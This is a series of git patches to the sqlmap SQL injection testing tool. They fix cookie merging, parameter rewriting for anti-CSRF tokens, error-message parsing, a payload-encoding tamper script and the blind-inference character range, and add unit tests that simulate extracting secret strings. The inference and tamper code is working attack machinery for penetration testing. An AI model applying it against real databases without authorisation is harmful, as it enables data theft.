xrange(max(1, kb.webSocketRecvCount)): - _page.append(ws.recv()) + # Note: a later response may carry fewer frames than the calibration one + # (e.g. a FALSE boolean-blind reply); stop on timeout instead of letting it + # bubble up as a failed request, mirroring the initial recv loop above + try: + _page.append(ws.recv()) + except websocket.WebSocketTimeoutException: + break page = "\n".join(_page) finally: From 69c8a94be4014bd5f91721d420b9e492f374b4c0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 19 Jul 2026 17:55:45 +0200 Subject: [PATCH 795/853] Adding support for domain cookies --- lib/core/settings.py | 2 +- lib/request/basic.py | 5 +++- tests/test_request_basic.py | 54 +++++++++++++++++++++++++++++++++++++ 3 files changed, 59 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index ef951e6496f..e8d6d729d48 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.138" +VERSION = "1.10.7.139" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/basic.py b/lib/request/basic.py index 5cddbd98338..8ea3f750a00 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -108,7 +108,10 @@ def title(self): if conf.cj: if HTTP_HEADER.COOKIE in headers: for cookie in conf.cj: - if cookie is None or cookie.domain_specified and not (conf.hostname or "").endswith(cookie.domain): + # Note: a domain-scoped cookie (Domain=example.com) is stored by the cookie jar as + # '.example.com', so a plain endswith() wrongly excludes the apex host itself + # ('example.com' does not end with '.example.com'); accept the exact domain too + if cookie is None or cookie.domain_specified and not ((conf.hostname or "").endswith(cookie.domain) or (conf.hostname or "") == cookie.domain.lstrip('.')): continue if ("%s=" % getUnicode(cookie.name)) in getUnicode(headers[HTTP_HEADER.COOKIE]): diff --git a/tests/test_request_basic.py b/tests/test_request_basic.py index 14977489b5a..29dc53c2a56 100644 --- a/tests/test_request_basic.py +++ b/tests/test_request_basic.py @@ -84,5 +84,59 @@ def test_empty_page(self): self.assertEqual(getText(decodePage(b"", None, "text/html")), "") +class TestForgeHeadersCookieMerge(unittest.TestCase): + """A domain-scoped jar cookie (Domain=example.com -> '.example.com') must merge into the + request for the apex host, not be dropped by a naive endswith() domain check.""" + + _CONF = ("cj", "hostname", "httpHeaders", "loadCookies", "cookieDel", "parameters", "csrfToken", "safeUrl") + _KB = ("mergeCookies", "testMode", "injection") + + def setUp(self): + self._c = dict((k, conf.get(k)) for k in self._CONF) + self._k = dict((k, kb.get(k)) for k in self._KB) + + def tearDown(self): + for k, v in self._c.items(): + conf[k] = v + for k, v in self._k.items(): + kb[k] = v + + def _jar_with_domain_cookie(self): + try: + from http.cookiejar import CookieJar, Cookie + except ImportError: + from cookielib import CookieJar, Cookie + # a domain-scoped cookie the jar stores as '.example.com' (domain_specified=True), + # exactly as it would after Set-Cookie: sid=NEW; Domain=example.com + cookie = Cookie(version=0, name="sid", value="NEW", port=None, port_specified=False, + domain=".example.com", domain_specified=True, domain_initial_dot=True, + path="/", path_specified=True, secure=False, expires=None, discard=True, + comment=None, comment_url=None, rest={}) + cj = CookieJar() + cj.set_cookie(cookie) + return cj + + def test_domain_cookie_merged_on_apex_host(self): + from lib.request.basic import forgeHeaders + from lib.core.enums import PLACE, HTTP_HEADER + from lib.core.datatype import AttribDict + + conf.cj = self._jar_with_domain_cookie() + conf.hostname = "example.com" # apex host == cookie domain + conf.httpHeaders = [(HTTP_HEADER.COOKIE, "sid=OLD")] + conf.loadCookies = False + conf.cookieDel = None + conf.parameters = {} + conf.csrfToken = conf.safeUrl = None + kb.mergeCookies = True + kb.testMode = False + kb.injection = AttribDict() + kb.injection.place = PLACE.GET + + headers = forgeHeaders() + # before the fix the domain cookie was skipped for the apex host, leaving 'sid=OLD' + self.assertEqual(headers.get(HTTP_HEADER.COOKIE), "sid=NEW") + + if __name__ == "__main__": unittest.main(verbosity=2) From d2a9db2aba7975b3c6dd8aeb14f1ec331a854c97 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 19 Jul 2026 18:27:04 +0200 Subject: [PATCH 796/853] Minor patch --- lib/core/settings.py | 2 +- lib/request/connect.py | 11 +++++++---- 2 files changed, 8 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index e8d6d729d48..f0f669a3c7e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.139" +VERSION = "1.10.7.140" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index ca94c570ae2..9e333efef76 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1272,13 +1272,16 @@ def _adjustParameter(paramString, parameter, newValue): if urlencode(parameter) in paramString: parameter = urlencode(parameter) - match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString, re.I) + # Note: anchor to a real parameter boundary (start or right after '&'/a quote) so that + # adjusting e.g. 'token' does not match inside a longer name like 'csrf_token'/'user_token' + # and rewrite the wrong parameter (which broke anti-CSRF token injection) + match = re.search(r"(?i)(?:\A|(?<=&))%s=[^&]*" % re.escape(parameter), paramString) if match: - retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString) + retVal = "%s%s=%s%s" % (paramString[:match.start()], parameter, newValue, paramString[match.end():]) else: - match = re.search(r"(%s[\"']\s*:\s*[\"'])([^\"']*)" % re.escape(parameter), paramString, re.I) + match = re.search(r"(?i)[\"']%s[\"']\s*:\s*[\"'](?P[^\"']*)" % re.escape(parameter), paramString) if match: - retVal = re.sub(r"(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString) + retVal = "%s%s%s" % (paramString[:match.start("value")], newValue, paramString[match.end("value"):]) return retVal From 2e28b709754e34374ea316be6f2c19c75893d51d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 19 Jul 2026 18:43:16 +0200 Subject: [PATCH 797/853] Minor patch --- lib/core/settings.py | 2 +- lib/request/connect.py | 7 +++++-- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index f0f669a3c7e..d13237bcc4a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.140" +VERSION = "1.10.7.141" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 9e333efef76..fb57614fa4b 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1366,11 +1366,14 @@ def _adjustParameter(paramString, parameter, newValue): if conf.rParam: def _randomizeParameter(paramString, randomParameter): retVal = paramString - match = re.search(r"(\A|\b)%s=(?P[^&;]*)" % re.escape(randomParameter), paramString) + # Note: anchor to a real parameter boundary (start, or the '&'/';' delimiter with any + # following space), like _adjustParameter, so randomizing 'id' does not match inside a + # longer name such as 'user-id'/'session-id'; the captured prefix is kept on replace + match = re.search(r"(?:\A|[&;]\s*)%s=(?P[^&;]*)" % re.escape(randomParameter), paramString) if match: origValue = match.group("value") newValue = randomizeParameterValue(origValue) if randomParameter not in kb.randomPool else random.sample(kb.randomPool[randomParameter], 1)[0] - retVal = re.sub(r"(\A|\b)%s=[^&;]*" % re.escape(randomParameter), "%s=%s" % (randomParameter, newValue), paramString) + retVal = re.sub(r"(\A|[&;]\s*)%s=[^&;]*" % re.escape(randomParameter), lambda m: "%s%s=%s" % (m.group(1), randomParameter, newValue), paramString) else: match = re.search(r"(\A|\b)(%s\b[^\w]+)(?P\w+)" % re.escape(randomParameter), paramString) if match: From 6234b62c6fa11f46856d2754711014753339342c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 19 Jul 2026 18:54:15 +0200 Subject: [PATCH 798/853] Minor patch --- lib/core/common.py | 7 ++++++- lib/core/settings.py | 2 +- tests/test_common.py | 10 ++++++++++ 3 files changed, 17 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 982241b4bcf..63251cc26e8 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2955,7 +2955,12 @@ def extractErrorMessage(page): if match: candidate = htmlUnescape(match.group("result")).replace("
", "\n").strip() - if candidate and (1.0 * len(re.findall(r"[^A-Za-z,. ]", candidate)) / len(candidate) > MIN_ERROR_PARSING_NON_WRITING_RATIO): + # Note: only the generic '(fatal|error|warning|exception): ...' regexes can capture + # arbitrary prose, so guard those with the non-writing-char ratio; the specific + # DBMS-signature regexes (e.g. MSSQL 'Unclosed quotation mark ...') are definitive and + # must not be discarded just because the message happens to read like plain text + generic = "(fatal|error|warning|exception)" in regex + if candidate and (not generic or 1.0 * len(re.findall(r"[^A-Za-z,. ]", candidate)) / len(candidate) > MIN_ERROR_PARSING_NON_WRITING_RATIO): retVal = candidate break diff --git a/lib/core/settings.py b/lib/core/settings.py index d13237bcc4a..d17576fa243 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.141" +VERSION = "1.10.7.142" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_common.py b/tests/test_common.py index d26d1090c7e..be4ad2d616a 100644 --- a/tests/test_common.py +++ b/tests/test_common.py @@ -1623,6 +1623,16 @@ def test_extract_error_message_oracle(self): def test_extract_error_message_none_for_plain(self): self.assertIsNone(extractErrorMessage("Warning: This is only a dummy foobar test")) + def test_extract_error_message_prose_like_dbms_signature(self): + # a specific DBMS signature must be extracted even when it reads like plain text (few + # non-writing chars) - the non-writing-char ratio guards only the generic keyword regexes + page = "Microsoft OLE DB Provider for SQL Server error '80040e14' Unclosed quotation mark after the character string ''." + self.assertEqual(extractErrorMessage(page), "Unclosed quotation mark after the character string ''.") + + def test_extract_error_message_generic_prose_still_rejected(self): + # the generic '(fatal|error|warning): ...' path must still drop natural-language prose + self.assertIsNone(extractErrorMessage("Error: everything is working fine and nothing is wrong here")) + def test_extract_error_message_non_string(self): self.assertIsNone(extractErrorMessage(None)) From 620f3a77a1c4488c98dff28ba7eae2e43be7078c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 20 Jul 2026 10:16:57 +0200 Subject: [PATCH 799/853] Fixing charunicodeencode tamper script --- lib/core/settings.py | 2 +- tamper/charunicodeencode.py | 11 ++++++++++- 2 files changed, 11 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index d17576fa243..4b711de5224 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.142" +VERSION = "1.10.7.143" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/charunicodeencode.py b/tamper/charunicodeencode.py index 3772b0b24dd..01144c91aa0 100644 --- a/tamper/charunicodeencode.py +++ b/tamper/charunicodeencode.py @@ -35,6 +35,8 @@ def tamper(payload, **kwargs): >>> tamper('SELECT FIELD%20FROM TABLE') '%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045' + >>> tamper(u'\U0001F600') == '%uD83D%uDE00' + True """ retVal = payload @@ -48,7 +50,14 @@ def tamper(payload, **kwargs): retVal += "%%u00%s" % payload[i + 1:i + 3] i += 3 else: - retVal += '%%u%.4X' % ord(payload[i]) + ordinal = ord(payload[i]) + if ordinal > 0xFFFF: + # Note: %uXXXX is UTF-16 based, so a non-BMP char (e.g. an emoji) must be emitted + # as a surrogate pair - '%.4X' alone would produce an invalid 5-digit '%uXXXXX' + ordinal -= 0x10000 + retVal += "%%u%04X%%u%04X" % (0xD800 + (ordinal >> 10), 0xDC00 + (ordinal & 0x3FF)) + else: + retVal += '%%u%.4X' % ordinal i += 1 return retVal From 09389aadebb11188020cf10c36a10faaabc1e36a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 20 Jul 2026 10:46:05 +0200 Subject: [PATCH 800/853] Fixing 3-byte char inference --- lib/core/settings.py | 2 +- lib/techniques/blind/inference.py | 5 +++-- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 4b711de5224..64310338dfb 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.143" +VERSION = "1.10.7.144" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 60aa12aa062..014a88e9542 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -666,8 +666,9 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, if kb.disableShiftTable: shiftTable = None elif continuousOrder and shiftTable is None: - # Used for gradual expanding into unicode charspace - shiftTable = [2, 2, 3, 3, 3] + # Used for gradual expanding into unicode charspace (Note: leading value covers MySQL's + # 3-byte ORD() range up to 0xEFBFBF, restoring CJK/non-Latin extraction - see issue #5171) + shiftTable = [4, 2, 2, 3, 3, 3] if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): From d1eb861d72a4ea595cf3750db98a9d695fac6c3c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 20 Jul 2026 10:57:19 +0200 Subject: [PATCH 801/853] Adding some more inference tests --- lib/core/settings.py | 2 +- tests/test_inference_engine.py | 56 ++++++++++++++++++++++++++++++++++ 2 files changed, 57 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 64310338dfb..110251d1095 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.144" +VERSION = "1.10.7.145" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_inference_engine.py b/tests/test_inference_engine.py index 066c70406c7..c41ba08eb18 100644 --- a/tests/test_inference_engine.py +++ b/tests/test_inference_engine.py @@ -51,11 +51,15 @@ def setUp(self): self._saved_kb = {k: kb.get(k) for k in _KB} self._saved_qp = Connect.queryPage self._saved_processChar = kb.data.get("processChar") + self._saved_counters = kb.get("counters") for k, v in _CONF.items(): conf[k] = v for k, v in _KB.items(): kb[k] = v kb.data.processChar = None + # getCounter()/kb.counters is a cumulative per-technique query tally; reset it so each test + # measures only its own extraction (bisection returns the absolute counter, not a per-call delta) + kb.counters = {} set_dbms("MySQL") def tearDown(self): @@ -64,6 +68,7 @@ def tearDown(self): for k, v in self._saved_kb.items(): kb[k] = v kb.data.processChar = self._saved_processChar + kb.counters = self._saved_counters Connect.queryPage = self._saved_qp inf.Request.queryPage = self._saved_qp @@ -135,6 +140,57 @@ def test_extracts_latin1_via_first_expansion(self): self.assertEqual(self._extract(s)[0], s, msg="expansion extraction failed for %r" % s) +class TestMysqlMultibyteExpansion(_EngineCase): + """Regression guard for the shiftTable expansion ceiling (getChar, inference.py ~671). + + MySQL's ORD() returns the byte-composite integer of a multibyte UTF-8 character (e.g. CJK + U+4E2D -> UTF-8 E4 B8 AD -> 0xE4B8AD = 14989485), and decodeIntToUnicode reconstructs the + character back from that integer. The gradual unicode expansion must therefore be able to + reach MySQL's full 3-byte ORD range (up to 0xEFBFBF = 15728575). A table whose ceiling + stops below that (as [2, 2, 3, 3, 3] did, ceiling 0xFFFFF = 1048575) silently truncates or + garbles every CJK and non-Latin >= U+0800 value on the most common DBMS - see issue #5171. + + Unlike TestUnicodeExpansion (which models a single-byte oracle via ord()), this oracle + models MySQL ORD() as the char's UTF-8 bytes read big-endian, exercising the real high + code-point path end to end.""" + + def _extract_ord(self, secret): + def mysql_ord(ch): + value = 0 + for octet in bytearray(ch.encode("utf-8")): + value = (value << 8) | octet + return value + + def oracle(payload=None, *args, **kwargs): + m = _PARSE.search(payload) + idx, op, threshold = int(m.group(1)), m.group(2), int(m.group(3)) + ch = mysql_ord(secret[idx - 1]) if 0 <= idx - 1 < len(secret) else 0 + return (ch > threshold) if op == ">" else (ch == threshold) + + Connect.queryPage = staticmethod(oracle) + inf.Request.queryPage = staticmethod(oracle) + td = getCurrentThreadData() + td.shared.value = "" + td.shared.index = [0] + td.shared.start = 0 + td.shared.count = 0 + count, value = inf.bisection(TEMPLATE, "SELECT secret", length=len(secret), charsetType=None) + return value, count + + def test_extracts_3byte_cjk(self): + # U+4E2D/U+6587 are CJK; each returned None (truncation) / '?' under the regressed ceiling + for s in (u"\u4e2d", u"\u4e2d\u6587", u"A\u4e2dZ", u"\u4e2d123"): + self.assertEqual(self._extract_ord(s)[0], s, msg="3-byte extraction failed for %r" % s) + + def test_extracts_near_max_3byte(self): + # U+FFFD -> UTF-8 EF BF BD -> ORD 0xEFBFBD, just under the 0xEFBFBF 3-byte ceiling + self.assertEqual(self._extract_ord(u"\ufffd")[0], u"\ufffd") + + def test_2byte_still_extracts(self): + # guard: raising the ceiling must not disturb the (unchanged) 2-byte path + self.assertEqual(self._extract_ord(u"caf\xe9")[0], u"caf\xe9") + + class TestSearchIsLogarithmic(_EngineCase): def test_query_count_is_sublinear_in_charset(self): # GOAL: catch a regression from binary search to a linear/per-codepoint scan. From adc43552d6584b0ecd0ab9db1eed729c6436a761 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 20 Jul 2026 11:11:29 +0200 Subject: [PATCH 802/853] Compressing common identifiers list --- data/txt/catalog-identifiers.tx_ | Bin 0 -> 72785 bytes data/txt/catalog-identifiers.txt | 13792 ---------------------------- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- lib/techniques/blind/inference.py | 29 +- 5 files changed, 19 insertions(+), 13806 deletions(-) create mode 100644 data/txt/catalog-identifiers.tx_ delete mode 100644 data/txt/catalog-identifiers.txt diff --git a/data/txt/catalog-identifiers.tx_ b/data/txt/catalog-identifiers.tx_ new file mode 100644 index 0000000000000000000000000000000000000000..65d58bdfd87c8f6dcfc906f5107eac4ab2a0800d GIT binary patch literal 72785 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 